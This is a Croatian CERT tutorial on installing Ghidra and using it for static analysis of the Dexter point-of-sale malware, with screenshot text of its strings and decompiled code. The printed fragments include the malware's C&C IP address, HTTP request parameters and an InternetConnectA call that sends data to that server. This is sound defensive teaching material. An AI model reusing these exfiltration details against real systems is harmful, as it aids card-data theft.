





CERT.hr

Sadržaj

UV	OD	3
INS	STALACIJA ALATA GHIDRA	4
ко	RIŠTENJE ALATA GHIDRA	10
3.1	Osnove Ghidre	
3.2	Statička analiza programa u Ghidri	16
ZA	KLJUČAK	19
	UV INS KO 3.1 3.2 ZA	UVOD INSTALACIJA ALATA GHIDRA KORIŠTENJE ALATA GHIDRA 3.1 Osnove Ghidre 3.2 Statička analiza programa u Ghidri ZAKLJUČAK

Ovaj dokument izradio je Laboratorij za sustave i signale Zavoda za elektroničke sustave i obradbu informacija Fakulteta elektrotehnike i računarstva Sveučilišta u Zagrebu.

Ovaj dokument vlasništvo je Nacionalnog CERT–a. Namijenjen je javnoj objavi te se svatko smije njime koristiti i na njega se pozivati, ali isključivo u izvornom obliku, bez izmjena, uz obvezno navođenje izvora podataka. Korištenje ovog dokumenta protivno gornjim navodima povreda je autorskih prava CARNET-a, a sve navedeno u skladu je sa zakonskim odredbama Republike Hrvatske.



1 Uvod

Svakodnevno korištenje Interneta, preuzimanje datoteka i programa, korištenje USB-ova na različitim nesigurnim računalima i slične aktivnosti dovode korisnika u kontakt s raznim zlonamjernim programima.

Razni antivirusni softveri i besplatni *online* alati ne zahtijevaju veliko stručno znanje za korištenje, a u većini slučajeva će svojom automatiziranom statičkom i dinamičkom analizom uspjeti dati korisniku točan odgovor na pitanje je li neki program zlonamjeran.

No, često se javlja potreba za još dublji i detaljniji uvid u ponašanje nekog programa, tj. želimo ustanoviti što točno taj program radi na računalu kako bismo došli do određenih zaključaka. Takav proces detaljne analize na niskoj razini naziva se reverzno inženjerstvo i u njemu pomažu alati poput OllyDbg, IDA-e, x64dbg itd., od kojih su neki komercijalni, a neki besplatni i/ili otvorenog koda.

Ghidra je jedan od najnovijih alata otvorenog koda namijenjenih reverznom inženjerstvu. Razvila ga je američka NSA (*engl. National Security Agency*), a javno je objavljen 5. ožujka 2019 godine.

U ovom dokumentu objasnit će se instalacija i korištenje, Ghidre, pokazati primjer analize zlonamjernog programa i navesti neke korisne funkcionalnosti za analizu programa.

Za razumijevanje ovog dokumenta pretpostavlja se da je čitatelj upoznat s pojmom i procesom reverznog inženjerstva softvera. Drugim riječima, onoga tko ne zna 'reversati' ovaj dokument to neće ni naučiti. Ovaj dokument oslanja se na primjenu i funkcionalnosti Ghidre kao alata u reverznom inženjerstvu, a ne reverzno inženjerstvo općenito.



2 Instalacija alata Ghidra

Alat Ghidra razvija američka Nacionalna sigurnosna agencija (engl. *National Security Agency*, NSA) i može se preuzeti sa <u>službene stranice alata</u>.

Ghidra podržava brojne operacijske sustave:

- Microsoft Windows 7 ili 10 (64-bit)
- Linux (64-bit, CentOS 7 je poželjan)
- macOS (OS X) 10.8.3+ (Mountain Lion ili novije)

te zahtijeva sljedeće sistemske značajke:

- Hardver:
 - 4GB RAM
 - o 1 GB memorije za pohranu
 - o preporučena su dva monitora
- Softver:
 - Java 11 Runtime and Development Kit (JDK)
 - preporučen je OpenJDK s jdk.java.net

Ove instrukcije napisane su za Ghidru 9.0.4 i operacijski sustav Windows 10. Slične instrukcije, na engleskom jeziku i za ostale operacijske sustave, mogu se pronaći na <u>službenim instrukcijama za instalaciju</u>.



Prvi korak je preuzeti Ghidru.



Slika 1 Ghidrina službena web stranica

Ovdje je korisno napomenuti da Ghidra ne koristi tradicionalni instalacijski program, nego se samo raspakira u datotečni sustav i pokrene. Ovaj način omogućuje instalaciju bez administratorskih privilegija, ali nažalost ne može automatski stvoriti prečac (engl. *shortcut*) na radnoj površini (engl. *desktop*) ili u početnom izborniku (engl. *start menu*).

Nakon preuzimanja, potrebno je raspakirati preuzetu zip arhivu te odabrati lokaciju gdje će se Ghidra pohraniti. Preporučeno je odabrati mapu nalik "C:\Users\user\ghidra" ili, u slučaju da imate administratorske privilegije, u "C:\Program Files". Naravno, može se proizvoljno odabrati i neka druga mapa.





Slika 2 Otpakiravanje Ghidre



Nakon što ste uspješno raspakirali Ghidru, pozicionirajte se u izabrani direktorij te je pokušajte pokrenuti dvostrukim klikom na skriptu *"ghidraRun.bat"*.



Slika 3 Pokušaj pokretanja Ghidre

U slučaju da se Ghidra uspješno pokrenula, vrlo vjerojatno imate već otprije instaliran Java 11 JDK te možete preći na instrukcije za korištenje alata. U suprotnom, pratite daljnje upute.

Preuzmite OpenJDK 11 sa službene stranice jdk.java.net.

jdk.java.net	Java Platform, Standard Edition 11 Reference
GA Releases JDK 12	Implementations
Early-Access Releases JDK 14 JDK 13 Jpackage Loom	The official Reference Implementation for Java SE 11 (JSR 384) is based solely upon open-source code available from the JDK 11 Project in the OpenJDK Community. This Reference Implementation applies to both the Final Release of JSR 384 (Sep 2018) and Maintenance Release 1 (Mar 2019).
OpenJFX Panama Valhalla JMC	The binaries are available under the GNU General Public License version 2, with the Classpath Exception.
Reference	These binaries are for reference use only!
Java SE 12 Java SE 11 Java SE 10 Java SE 9 Java SE 8 Java SE 7	These binaries are provided for use by implementers of the Java SE 11 Platform Specification and are for reference purposes only. This Reference Implementation has been approved through the Java Community Process. Production-ready binaries under the GPL are available from Oracle; and will be in most popular Linux
Feedback	distributions.
Archive	RI Binary (build 11+28) under the GNU General Public License version 2
	 Linux/x64 Java Development Kit (sha256) 178.9 MB Windows/x64 Java Development Kit (sha256) 178.7 MB

Slika 4 Službena stranica OpenJDK-a



Nakon preuzimanja, potrebno je raspakirati preuzetu zip arhivu. Preporučeno je odabrati isti direktorij gdje ste raspakirali i Ghidru (u našem slučaju: "C:\Users\user\Ghidra").

📊 🛃 🥃 🚽 Ghidra	- 0	\times
File Home Share View		~ ?
← → × ↑ 📙 « user > Ghidra	✓ ັບ Search Ghidra	ρ
📙 Ghidra	^ Name	
ghidra_9.0.4	ghidra 9.0.4	
docs	jdk-11	
📙 Ghidra		
GPL		
licenses		
server		
📙 support		
<mark> </mark> jdk-11		
📙 bin		
conf		
include		
jmods		
egal legal		
lib	v <	>
2 items		==

Slika 5 Direktorij "C:\Users\user\Ghidra" nakon raspakiravanja OpenJDK 11

Da bi Ghidra mogla koristiti OpenJDK 11, potrebno je dodati varijablu okoline PATH (engl. *enviroment path variable*). Nakon desnog klika na početni izbornik, odaberite stavku sustav (engl. *system*). Potražite *"Edit environment variables for your account"* te kliknite na prvi ponuđeni rezultat.



Slika 6 Uređivanje korisničkih varijabli



Unutar novootvorenog prozora *"Enviroment variables*" odaberite korisničku varijablu PATH te kliknite *"Edit*". Nakon toga, u novom prozoru kliknite tipku *"New*" te upišite *"*<lokacija otpakiranog OpenJDKa 11>\bin", u našem slučaju *"*C:\Users\user\Ghidra\jdk-11\bin". Potvrdite dodavanje nove PATH varijable klikom na tipku *"Ok*".

		DIOLECTEG.		
	Environ	ment Variables		\times
l	User	Edit environment variable	×	
l	Va Or	%USERPROFILE%\AppData\Local\Microsoft\WindowsApps	New	
l	Pa TE		Edit	
1S	IN		Browse	
l			Delete	
l			Move Up	
l	Syste		Move Down	
l	Va			^
l	Dr		Edit text	
l	05			
l	PA			~
		ОК	Cancel	
		ОК	Cancel	

Slika 7 Dodavanje korisničke varijable

Sad, ako ponovno navigirate u direktorij gdje ste otpakirali Ghidru te ju ponovno pokušate pokrenuti dvostrukim klikom na *"ghidraRun.bat*", trebali biste uspješno pokrenuti program. Otvorit će vam se prozor s uvjetima korištenja te, nakon što ih pročitate i prihvatite, možete koristiti program.



3 Korištenje alata Ghidra

3.1 Osnove Ghidre

Ghidra se pokreće dvostrukim klikom na *"ghidraRun.bat"*. Ako će se Ghidra redovito koristiti, preporučeno je stvoriti prečac na radnoj površini za lakše pokretanje. Nakon što pokrenete Ghidru pokazat će vam se savjet dana, kojeg slobodno zatvorite da vidite prozor za odabir projekta.

Ghidra: NO ACTIVE PROJECT >	ĸ
ile <u>E</u> dit <u>P</u> roject <u>T</u> ools <u>H</u> elp	
2 御後御後 6 5	
ool Chest	
ctive Project: NO ACTIVE PROJECT	
NO ACTIVE PROJECT	
Filter:	
Tree View Table View]
unning Tools: INACTIVE	
	9

Slika 8 Ghidrin početni ekran, prozor za odabir projekta

Trenutno ne postoji nijedan aktivan projekat za odabrati pa morate stvoriti novi. Novi projekt možete stvoriti klikom na "*File->New Project...*" ili koristeći prečac na tipkovnici "Ctrl+N", što će pokrenuti stvaranje novog projekta. Najprije ćete morati odabrati želite li započeti dijeljeni projekt za rad u timu (engl. *Shared Project*) ili ćete raditi sami na vlastitom projektu (engl. *Non-Shared project*). Odaberite vlastiti projekt. Kliknite "*Next* >>" te odaberite proizvoljnu lokaciju i naziv vašeg projekta (npr. lokaciju: "C:\Users\user\ghidra-demo", naziv: "ghidra-demo") te kliknite "*Finish*".



<u>File E</u> dit <u>P</u> roject <u>T</u> ools <u>H</u> e	elp
New Project	Ctrl+N
Open Project	Ctrl+O
Reopen	►
Close Project	Ctrl+W
Save Project	Ctrl+S
Delete Project	
Archive Current Project	
Restore Project	
Configure	
Install Extensions	
Import File	I
Batch Import	
Open File System	Ctrl+I
Exit Ghidra	Ctrl+Q

Slika 9 Stvaranje novog projekta

New Project ×	New Project ×
Select Project Type	Co Select Project Location
 Non-Shared Project Shared Project 	Project Directory: C:Users\user\ghidra-demo Project Name: ghidra-demo
<< Back Next >>> Einish Cancel	<< Back Next >> Eingh Cancel

Sada ste spremni uvesti (engl. *import*) program koji će se analizirati. Program je moguće uvesti odabirom "*File->Import File...*", tipkovnim prečacem "I" ili jednostavnim povlačenjem i ispuštanjem datoteke na odgovarajući projekt. Nakon odabira vašeg programa, Ghidra će sama pokušati prepoznati format i mikroprocesorski jezik. Ako ste zadovoljni s odabirom kliknite "*OK*" i pokrenut će se proces uvoza.



	Ghidra: ghidra-demo ×
<u>F</u> ile <u>E</u> dit <u>P</u> roject <u>T</u> ools <u>H</u> elp	
"当会会会会。" \$	
Tool Chest	
A V	
Active Project: ghid Import	×
🛅 ghidra-demo	
Format:	Portable Executable (PE)
Language:	x86:LE:32:default:windows
Destination folder	
Destination Folder:	ghidra-demo:/
Program Name:	win33.exe
Filter:	Options
Tree View Table	OK Cancel
Running Tools	
	Workspace
Finished cache cleanup, estimated storage us	ed: 0

Slika 10 Proces uvoza datoteke

Uvest ćemo zlonamjerni program (engl. *malware*) naziva "Dexter" koji je u 2012. godini napadao blagajne u više od 40 zemalja te krao osjetljive informacije poput brojeva kartica. Važno je napomenuti da zloćudne programe treba raspakirati i analizirati samo unutar izoliranog virtualnog stroja.

UPOZORENJE! Zbog rizika od zaraze računala, ne preporučujemo preuzimanje i rad s pravim zlonamjernim softverom bez odgovarajućeg predznanja, prethodnog iskustva i mjera opreza. Ako se ipak odlučite pratiti korake u dokumentu i samostalno analizirati softver, obavezno to činite isključivo u izoliranom virtualnom računalu. Pritom virtualno računalo ne smije biti spojeno na internet, a smije imati samo jedan dijeljeni *read-only* direktorij.



Nakon što ste uspješno uvezli program, možete ga otvoriti alatima dostupnima u Ghidri. Standardni alati su *"CodeBrowser"* (ilustriran glavom zelenog zmaja) i *"Version Tracking"* (ilustriran otiscima koraka). Program se u alatu otvara povlačenjem i ispuštanjem učitanog programa nad alatom.

Ghidra: ghidra-demo	×
<u>File Edit Project Tools Help</u>	
2) 油 油 油 油 ~ 5	
Tool Chest	_
Active Project: ghidra-demo	
a pidra-deno	
📄 win33.exe	
	_
Filter:	
Tree View Table View	_
Running Tools	_
Workspace	•
jracked database cacne: /tmp/tjuric-Ghidra/packed-db-cache	8

Slika 11 Otvaranje programa u alatu "CodeBrowser"

U nastavku će se demonstrirati korištenje alata "*CodeBrowser*" za pretraživanje koda te ćemo zato naš zlonamjerni program povući i ispustiti na ikonu zelenog zmaja.

		CodeBrow	ser: ghidra-demo:/win33.exe			×
Eile Edit Analysis Navigation Search	ch Select Tools Window Help					
	🖟 I D U L F R V B - 🐐 🐐 🗠	여 🗸 🖺 🛞 📾 😋 🚠 💽 💹 🔶	🖽 🕞 🚠 🛛 🌚			
Program Trees 🛛 🔂 🎦 🗙	El Listing: win33.exe		4	🗈 💽 🖙 🐼 📸 🗐 •	X Decompiler	5 h 🗈 📾 - X
🔻 🚧 win33.exe	win33.exe 🗙				1 No Function	
) Headers) .text 당 .data 당 .refoc	assume DF = 0x	// Headers // Headers // ram: 00400000-004003ff // (Default) IMAGE_DOS.HADER_00400000 IMAGE_DO	XREF[1]:	0040018c(*)	5	
Program Tree ×		char[2] "M2" "M", "Z' dw 90h dw 9h dw 9h dw 9h	e_magic e_cblp Bytes e_cp Pages e_crlc Reloc e_cnarhdr Size	XREF(1): in file ations of header in	-	
 Exports Controlions Labels Classes Namespaces 	00400000,00 60 60 00400000;00 60 00 00400010 80 00 00400010 80 00 00400010 00 00 00400010 00 00 00400016 00 00 00400016 00 00	win33.exe has not be	Analyze een analyzed. Would you like to a	nalyze it now?	-	
Filter:	− 0040001a 00 00 − 0040001b 00 00 − 00400024 00 00 − 00400024 00 00 − 00400025 00 00 − 00400025 00 00	00 00 dw[4] dw 0h dw 0h 00 00 dw[10]	e_res[4] Reser e_oemid OEM i e_oeminfo OEM i e_res2[10] Reser	ved words dentifier (fo nformation: e ved words		
	00 00 00 00 00 00 0040003c d3 00 00 00400040 0e 1f bi b4 09 ci	00 00 00 00 00 00 db[64] 21 b8	e_lfanow File e_program Actua	address of ne N DOS program	-	
	E Console - Scripting					🗟 🖉 🗙
Filter:						
Image: A start and a start					00400000	

Slika 12 Analizu programa alatom "CodeBrowser"



Kada prvi put otvorimo program u *"CodeBrowseru*", Ghidra će nam ponuditi da ga analizira. Kliknite *"Yes*" te će vam u sljedećem prozoru biti ponuđene razne opcije. Uz svaku opciju navedeno je i kratko objašnjenje. Npr. opcija *"ASCII Strings*" traži sve nizove ASCII znakova minimalno određene duljine. Nakon što odaberete sve opcije koje želite kliknite *"Analyze*". Možete ostaviti izvorno zadane postavke.

	Ana	atysis Options	
Analyzer	s	Description	
Enable	d Analyzer Name		
	Aggressive Instruction Finder (Prototy		
	Apply Data Archives		
\checkmark	ASCII Strings		
\checkmark	Call Convention Identification	Options	
	Call-Fixup Installer		
	Condense Filler Bytes (Prototype)		
	Create Address Tables		
	Data Reference		
	Decompiler Parameter ID		
	Desemailes Coultabe Amelonia		
Selec	t All Deselect All Restore Defaults		
		1	
	Analy	yze Cancel	

U donjem desnom kutu možete pratiti tijek analize. Analiza može potrajati nekoliko minuta, ili čak i više, za velike programe.

Program Trees 🛛 🔂 🙆 🎦	X El Listing: win33.exe	🐘 🜔 🔽 🛱 🖬 🖬 🕯 🖬 🕯 🖉	🕞 Decompiler 🔗 🐚 📄 🆓 👻 🗙
🔻 📴 win33.exe	*win33.exe X		I No Function
Headers text data .fsrc .reloc		XREF[1]: 0040030c(*)	
Deserve Trees &	00 00 00 4 00400000 4d 5a char[2] *N2* 00400000 [0] 'M' '7'	e_magic XREF[1]:	
Filter:	X 00400002 90 00 0w 90h 00400000 40 30 00 0w 90h 0w 90h 00400000 40 30 00 0w 0w 9h 9h 00400000 50 00 0w 0w 9h 9h 00400000 50 00 0w 0w 9h 9h 0040000 50 00 0h 0w 9h 9h 0040000 50 00 0h 0w 9h 9h 0040000 50 00 0h 0w 9h 9h 0040001 50 00 0h 0w 9h 9h 0040001 60 00 0h 0w 9h 9h 0040001 80 00 0h 0h 0h 9h 0040001 80 00 0h 0h 0h 9h 0040001 80 00 0h 0h 0h 0h 0040001 80 00 0h 0h 0h 0h 0040001 80 00 0h 0h 0h 0h 0040001 80 00 0h 0h 0h	e_chip Bytes of last page e_cric P Pages in file e_cric Relocations e_crainful Size of header in e_minalloc Rinima extra para e_minalloc Rinima extra para e_spe Initial Synaks e_spe Initial Synaks e_spe Initial Paule e_cro Chicksum e_trail relative) e_trail relative) e_trail relative) e_resid GO information; e e_reside GO information; e e_track O Beserved words e_tracku.055 program	
BuiltinTypes	04 09 00 21 00	· · · · · · · · · · · · · · · · · · ·	
<pre>windows_vs12_32</pre>	Console - Scripting Successfully compiled: WindowsResourceReference.java		≙ <i>₫</i> ×

Slika 13 Analiziranje programa alatom "CodeBrowser"



Najvjerojatnije ćete unutar alata "*CodeBrowser*" provesti najviše vremena pa je korisno upoznati se s njegovim funkcionalnostima. "*CodeBrowser*" se sastoji od više prozora: "*Program Trees*", "*Symbol Tree*", "*Data Type Manager*", "*Listing*", "*Decompiler*", "*Console*".

- *"Program Trees"* (hrv. stabla programa), prikazuje strukturu programa i omogućava jednostavnu navigaciju kroz nju.
- *"Symbol Tree"* (hrv. stablo simbola) koristi se za pronalazak simbola i navigaciju.
- *"Data Type Manager"* (hrv. voditelj struktura podataka) koristi se za pronalazak, primjenu i stvaranje struktura podataka.
- *"Listing"* (hrv. ispis), ili glavni prozor u sredini, prikazuje asemblerske instrukcije analiziranog programa. Unutar ovog prozora možete pritisnuti tipku *"G"* na tipkovnici da otvorite *"Go To..."* prozor.
- *"Decompiler"* (hrv. programski prevoditelj u viši jezik) pokušava prikazati asemblerske instrukcije kao izvorni C kod. Ovaj prozor je usko povezan s prozorom *"Listing"* te će podcrtavanje instrukcija/koda u jednom podcrtati iste i u drugom.
- *"Console"* (hrv. konzola) prikazuje stanje i izlaze skripta unutar Ghidre.

Ghidra ima odličnu dokumentaciju te se za bilo koji prozor, izbornik ili radnju pritiskom na tipku "F1" na tipkovnici prikazuje relevantna pomoćna dokumentacija.



Slika 14 Prozor s objašnjenjima

Isto tako, vrlo koristan je i <u>službeni šalabahter</u>.

3.2 Statička analiza programa u Ghidri

Sad kad smo prošli osnove Ghidre, možemo započeti analizu našeg programa. Započet ćemo našu analizu pretraživanjem znakovnih nizova (engl. *strings*) unutar analiziranog programa. Ovo je dobra početna točka ako analizirani program ne koristi nikakve metode pakiranja/kriptiranja. Znakovni nizovi lako se mogu pretražiti klikom na "*Search-*>*For strings…*". Otvorit će se prozor u kojem se mogu podesiti parametri pretrage, ali u ovom slučaju to nije potrebno nego je dovoljno samo kliknuti na "*Search*".

Anton Troop	100 9×1 × 1	Til Licting: win22 o	20						· · ·		42 Ib III	I all - V
gram rees		Lisung: winss.e	xe						1 No Exection		34 M H	
Headers		WITSKERE IN		-	-							
E .text	004077e0 26 63 6e ds '&cnme'							ê.				
🔄 .data	Search For Strings ×							-				
S .rsrc					h							
E l'reioc	Requ	ire Null Termination	Minimum Length:	5	Des D	5- V						
	D Paces	Etringe			h	i						
	Urasce	ii ad iligs	Alignment:	1	Dec h	e						
			Ward Bardal	Chain a black all as		×		Etring Coareh ICc	daBrougae obides domorbu	Invo SEni		
			Word Model:	StringModel.si	ng h			String Search [Co	debrowser: gnidra-demo:/w	inss.exej		
	Memor	y Block Types	Selection Scope		h	Help						
rogram Tree ×	O Los	ded Blocks	Search All			String Search	644 items - [1	vin33.exe. Minimum size - 5, A	Align – 1)		A LA	7 \$ 1
vmbol Tree	IA O	Blocks	Search Select	tion	spec-	Location	Label	Code Unit	String View	Stri	Le Is Word	
Imports	-					A 00407730	s firefox.e	ds "firefox.exe"	"firefox.exe"	string	12 true	
Exports						A 0040773c	s chrome	ds "chrome.exe"	"chrome.exe"	string	11 true	
I Exports						A 00407748	s devenv	ds "devenv.exe"	"devenv.exe"	string	11 true	
Labele		S	earch Cancel		query	A 0040779c		ds "UpdateMutex:"	"UpdateMutex:"	string	13 true	
Clacros	-					A 004077ac		ds "response="	"response="	string	10 true	
Namesnaces			3d 00			A 004077b8	s_page=	ds "page="	"page="	string	6 false	
1 marilespaces						A 004077c0	s &ump=	ds "&ump="	*&ump=*	string	6 false	
			00407000 76 76	s_aval	00407800	A 004077d0	s_&opt=_0	ds "&opt="	"&opt="	string	6 false	
			60 2d	00	avat-	A 004077d8	s_&unm=	ds "&unn="	*&unm=*	string	6 false	
			08407806 00	77	00h	A 004077e0	s_&cnm=	ds "&cnm="	"&cnm="	string	6 false	
			00407807 00	77	00h	004077e8		77 26h &	"&view="	string	7 false	
						A 004077f0	s_&spec=	ds "&spec="	"&spec="	string	7 false	
1	100			s_&var	00407808	/ 004077f8	s_&query	ds "&query="	"&query="		8 false	
	8		00407808 26 76	61 ds	"&var="	A 00407800	s_&val=_0	ds "&val="	"&val="	string	6 false	
			72 30	00	005	A 00407808	s_&var=_0	ds "&var="	"&var="	string	6 false	
ta Type Manage	r • X		00407800 00	22	oon	A 00407810		ds "DetectShutdownClass"	"DetectShutdownClass"	string	20 true	
m) - 12 - 1	NKE		99497810 44 65	74 ds	"Detect	A 00407824		ds "download-"	"download-"	string	10 true	
Date Torses			65 63	74		A 00407830		ds "update-"	"update-"	string	8 true	
toata Types			53 68	75		A 00407838		ds "checkin:"	"checkin:"	string	9 true	
BuiltinType	3 I I I		08407824 64 6f	77 ds	"downlo	A 00407844		ds "scanin:"	"scanin:"	string	8 true	
Sowin33.exe		-	5 in in			A 0040784c		ds "uninstall"	"uninstall"	string	10 true	
🔰 windows_vs	12_32					00407860		77 31h 1	"151.248.115.107"	strina	16 false	
		Console - Scripti	ing			Filter:						長寺
						Auto Label		Offset: 0 Press	town "Conterna"			
								Grade Grad	adaciy=			
						Include Align	nent Nulls					
						U Iruncate If N	egeg					
								Make Str	ning Make Char Array			

Slika 15 Pretraživanje znakovnih nizova

Ovdje, među znakovnim nizovima, vidimo znakovni niz: "&query=" na adresi 0x004077f8. Taj znakovni niz nas zanima jer izgleda kao dio HTTP zahtjeva koji bi se možda mogao koristiti za komunikaciju s naredbenim i kontrolnim poslužiteljem (engl. *command & control server* ili *C&C server*) koji je pod napadačevom kontrolom.

Nakon pronalaska tog znakovnog niza zanima nas gdje se sve on koristi - tražimo tzv. *"cross-reference*". Pretpostavljamo da bi nam ta funkcija mogla pružiti neke korisne informacije. Sve reference pronalazimo desnim klikom na naš znakovni niz *"References > Show References To Address*". Pronalazimo jednu referencu na adresi 0x0040288d.



				CodeBrowser: ghidra-demo:/win33.	exe				×
Eile Edit Analysis Navigation	Search Select Tools	Window Help							
	JIDUL	FRVB·加油	na /	🖺 🛞 📴 Cy 击 🔿 🐯 🧇 🖽 👘	Q1				
Program Trees 🔜 🏠 🏷 🗙	El Listing: win33.exe	- (5 addresses selected)		<u>∿© </u> ₩ ₩ ₩	- x	C Decon	npile: FUN_00402490 - (win33.exe)	s 🐘 📝 💩 🕶	×
🔻 💓 win33.exe	win33.exe 🗙					64 10	<pre>Cat_130 = 0; cat_130 = 0;</pre>	T 00400000 (level 120)	
명 Headers 한 .text 단 .data 단 .rsrc 한 .reloc		9f 40 00 0040286b 51 0040286b 6d 95 db fe ff ff 00402872 52 00402873 68 e0 77 40 00 00402878 e8 a3 00 00 000 00402878 d3 c4 0c	PUSH LEA PUSH PUSH CALL ADD	ECX EDX=>local_12c,[0xfffffed8 + EBP] EDX =06rm=_004077e0 FUN_00402920 ESP.0xc		66 if 67 68 69 70 } 71 lc 72 [0 73 04 74 Ft 75 if	calunornumorned	N_00009990.6.0001_150); (col_110 !- 0)) { ; ; v01D)0x0.1cral_06 * 2.0x1000.4); ,DAT_00409(6c);	
Program Tree × Symbol Tree	-	00402880 a1 8c 9f 40 60 00402885 59 00402885 8d 8d 70 fff ff ff 0040288c 51 0040288c 51 0040288c 58 77 49 60 00402892 88 89 00 00402897 83 c4 0c 00402897 83 c4 0c	MOV PUSH LEA PUSH CALL ADD MOV	EAX.[DAT_00409f8c] EAX ECXesiccal_94,[0xfffff70 + EBP] ECX 5_6query_004077f8 FUN_00402920 ESP.0x Exx.doord prr [DAT_00409f8c]		76 77 78 79 80 } 81 LC 83 i1 84 85 86 87 87	DAT_08409ae0 = DAT_00409ae0 + -DAT_0 PMN_08402200(DAT_00409ae0 + .DAT_0 PMN_08402200(DAT_00409ae0 + .DAT_0040 DAT_0840578 = 0; aveCriticalSection((LPCRTTICAL_SECTI ((local)0 + (byte *)0x0) 65 (loca FMN_08401200(local)0 + .0cal (10, 4); local)0 = local(0 + .0cal)0 + .0cal PMN_08401200(local)0 + .0cal (10, 4); local)0 = local(0 + .0cal)0 + .0cal PMN_08401200(local)0 + .0cal (10, 4); local)0 = local 0 + .0cal (10, 4); local 0 = local 0 + .0cal	0409159; 040940.DA_00409180); 9158); 010)60AT_00409140); 1_8 !- 0)) (130.4);	
Filter:		9f 40 00 004028a0 52 004028a1 8d 45 dc 004028a4 50 004028a5 68 f0 77 40 00 004028aa e8 71 00 00 00 004028af 83 c4 0c	PUSH LEA PUSH PUSH CALL ADD AB 004028b2	EDX EAXmelocal_28,[EBP + -0x24] EAX s_6spec=_00407710 FUN_00402920 ESP.0xc	REF[88 90 91 92 } 93 if 94 95 96 97 98 }	FW 0002201001 0007/0010007 FW011001 0001001 0007 VirtualFree(local_0,0,0x8000); (parat_1=) (FW0.0002200(_sLome_004077d8.local_ FW0.0002200(_sLome_004077d8.local_ FW0.0002200(_sLome_004077d8.local_ FW0.00402200(_sLome_004077d8.local_ FW0.00402200(_sLome_004077d8.local_ FW0.00402200(_sLome_004077d8.local_ FW0.00402200(_sLome_004077d8.local_ FW0.00402200(_sLome_004077d8.local_ FW0.00402200(_sLome_004077d8.local_ FW0.00402200(_sLome_004077d8.local_ FW0.00402200(_sLome_004077d8.local_ FW0.00402200(_sLome_004077d8.local_ FW0.00402200(_sLome_004077d8.local_ FW0.00402200(_sLome_004077d8.local_ FW0.00402200(_sLome_004077d8.local_ FW0.00402200(_sLome_004077d8.local_ FW0.00402200(_sLome_004077d8.local_ FW0.004077d8.local_ FW0.004077d8.lo	D4.DAT_00409180;; 12c.DAT_00409180;; 1_04.DAT_00409180;; 28.DAT_00409180;;	
Data Types BuiltinTypes Gowin33.exe windows_vs12_32	Console - Scripting	00402862 86 0d 8c 9f 40 00 00402865 51	PUSH	ECK, dword ptr [DAT_00409f8c]		99 FL 100 Ls 101 FL 102 Ls	N 00402720[5_K0pt_00407740].loc1_a0 KropA(6ATC009760,5_Statust_0040 N 0040220[5_Kvar_00407780,60AT_004 Kreatefinat nnunoHpr_c_Kual0nun7999	DAT_00499fic); 7940); 09f60,DAT_00409fBc); 1.	×
Filter:							00402892 FUN_00402490	CALL 0x00402920	

Slika 16 Referenca na znakovni niz "&query="

Sudeći po okolnim znakovnim nizovima koji su vidljivi u kodu, možemo pretpostaviti da se tu slažu parametri HTTP zahtjeva koji se vjerojatno koristi za komunikaciju s C&C serverom. Vidimo da je to sve dio jedne funkcije koja počinje na adresi 0x00402490. Početak funkcije najlakše se pronađe koristeći prozor decompilera, pomakom do vrha koda i klikom na deklaraciju funkcije.

Ghidra je tu funkciju nazvala "FUN_00402490" po adresi na kojoj se nalazi. Ovdje je jako korisno preimenovati funkciju u nešto što ćemo kasnije lako prepoznati u kodu, kao npr. "FUN_gen_http_parameters". To lako napravimo desnim klikom na ime funkcije pa *"Rename Function*", ili pritiskom na tipku "L" na tipkovnici. Ghidra će sada za nas sve reference na tu funkciju preimenovati.

Istim postupkom kojim smo pronašli gdje se koristi naš znakovni niz, tražimo reference na ovu funkciju. Pronalazimo dvije cross-reference na adresama 0x00402c23, odnosno 0x00402c3c.



CodeBrowser: ghidra-demo:/win33.exe ×							
File Edit Analysis Navigation	Search Select Tools Window Help						
😑 🗠 • 🔿 • 📴 📴 🔡	👌 🖡 I D V L F K K B + 🍇 🛬 や 🖙	🗸 📰 🖄 🔯 😋 🏤 🔿 🐯 🔶 🛅 👼 🏤 🔍					
Program Trees 🔜 边 🏝 🗙	Listing: win33.exe - (10 addresses selected)	🗅 🛍 🖳 🖳 🗮 📶 🔹 🗙	🗣 Decompile: FUN_00402aa0 - (win33.exe) 🌮 🕼 💌 🗙				
vin33.exe	*win33.exe X		36 local 8 - 0;				
당 Headers [편] .text 말] .data 말] .rerc 말] .reloc	C04022hf6 c7 35 66 M0y 00 00 60 00 00 00 60 00 00402000 bh5 55 64 M0y dd ff ff 00402200 5h5 56 4 M0y dd ff ff 00402207 ff 15 b4 00402207 ff 15 b4 00402207 ff 15 b4 00402208 49 34 ff 11 40 60 00402208 49 34 ff	dword ptr [local_20c + EBP],0x0 EAX.dword ptr [local_200 + EBP] EAX dword ptr [->WININET.OLL::InternetCloseHand]	37 Sleep(DAT_00409776); 38) 39 iVar2 = InternetConnectA(DAT_00409794,(GFTR_s_151.248.115.107_884 41 if(SVar21 = 0) break; 42 local_8 + local_8 + l; 43 blar4 = false; 44) 45 local_14 = HttpOpenRequestA(IVar2, GDAT_00407694, 46 + MttpOpenRequestA(IVar2, GDAT_00407794, 47 > 0042208317418621031041543/gaten				
Program Tree × Symbol Tree Symbol Tree Exports Exports Functions Image: Symbol Tree Image: Sym	→ LAB_00402c12 00402c12 83 b60 CMP 1d ff ff 01 00402c19 75 19 30 XZ 00402c16 97 519 30 XZ 00402c16 75 11 30Z 00402c21 83 26 46 16 CALL 00402c28 83 c4 64 ADD 00402c28 57 45 14 M0V 01 00 00 00	XREF[1]: # LAB_00402c34 EBP1.0x1 word ptr [LEUP + local_10].0x0 # LAB_00402c32 0x0 FUR_gen_http_parameters # ESP.0x4 # dword ptr [EEP + local_10].0x1 #	<pre>48 if (local_14 = 0) break; 49 local_8 = local_8 + 1: 50 bWar4 = false; 51 InternetCloseHandle(!War2); 52 } 53 if (local_10 = 0) { 54 if (local_10 = 0) { 55 PAM_gen_http_parameters(0); 56 local_10 = 1; 57 } 59 else { 60 if (local_10 = 0) { 61 for the term of the term of te</pre>				
Filter:	LAB_00402c32 00402c32 eb 17 JHP LAB_00402c34 00402c34 B3 7d f4 00 CMP 00402c38 75 11 JNZ 00402c38 0 1 PUSH	XREF[1]: LAB_00402c4b XREF[1]: dword ptr [EBP + local_10].0x0 LAB_00402c4b 0x1	<pre>62</pre>				
